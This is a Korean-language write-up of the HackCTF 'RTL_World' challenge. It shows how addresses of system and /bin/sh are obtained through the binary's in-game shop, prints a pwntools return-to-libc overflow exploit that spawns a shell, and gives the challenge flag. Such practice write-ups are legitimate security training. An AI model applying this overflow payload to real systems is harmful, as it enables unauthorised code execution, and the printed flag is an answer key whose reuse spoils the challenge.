RTL_World
이번 문제는 RTL_World이다. 바이너리를 다운로드하여 실행시켜 보면,
약간 게임 컨셉의 느낌의 바이너리이다. 2) Make Money로 돈을 모아서 System 함수 주소와 /bin/sh 주소를 사서 구한 다음 익스를 하는 방식으로 짜야 할거 같은데 우선 1번부터 눌러보면,
그냥 checksec 한 거랑 똑같이 나온다. 해당 바이너리는 32bit 면서 nx가 걸려 있음을 확인할 수 있다. 다음으로 2번을 눌러보면,
3가지 방법 중 하나를 선택해서 돈을 벌라는 거 같은데 먼저 1번을 눌러보면 100 Gold 가 들어옴을 확인할 수 있다. 다음으로 2번을 눌러보면,
이번에는 350 Gold 가 들어옴을 확인 할 수 있다. 마지막으로 3번도 눌러보면,
이번에는 500 Gold 가 들어온다. 그리고 돈을 적절히 모은 다음 System Armor와 Shell Sword를 구입하면,
각각 주소가 주어진다. 아마도 system 함수 주소와 /bin/sh 문자열 주소인 거 같다. 마지막으로 메인 메뉴 5번을 눌러보면,
" [Attack] > "이라는 문자열이 뜨면서 입력을 받게 되고 그다음 프로그램이 종료된다. 이제 ida로 분석을 해보면,
역시나 3, 4번에서 주는 주소들은 system 함수와 /bin/sh 문자열 주소들이 맞았다. 이제 익스 코드를 다음과 같이 짜고,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
from pwn import*
#p = process("./rtl_world")
for i in range(0,2):
p.recvuntil(">>>")
p.sendline("2")
p.recvuntil("(Job)>>>")
p.sendline("3")
p.recvuntil(">>>")
p.sendline("3")
p.recvuntil("System Armor : ")
system = int(p.recv(10),16)
for i in range(0,7):
p.recvuntil(">>>")
p.sendline("2")
p.recvuntil("(Job)>>>")
p.sendline("3")
p.recvuntil(">>>")
p.sendline("4")
p.recvuntil("Shell Sword : ")
binsh = int(p.recv(10),16)
payload = ''
payload += 'A'*140
payload += 'B'*4
payload += p32(system)
payload += 'C'*4
payload += p32(binsh)
p.recvuntil(">>>")
p.sendline("5")
p.recvuntil("[Attack] >")
p.sendline(payload)
p.interactive()
|
실행시켜 보면,
쉘이 따짐을 확인할 수 있다.
FLAG : HackCTF{17_w45_4_6r347_r7l_w0rld}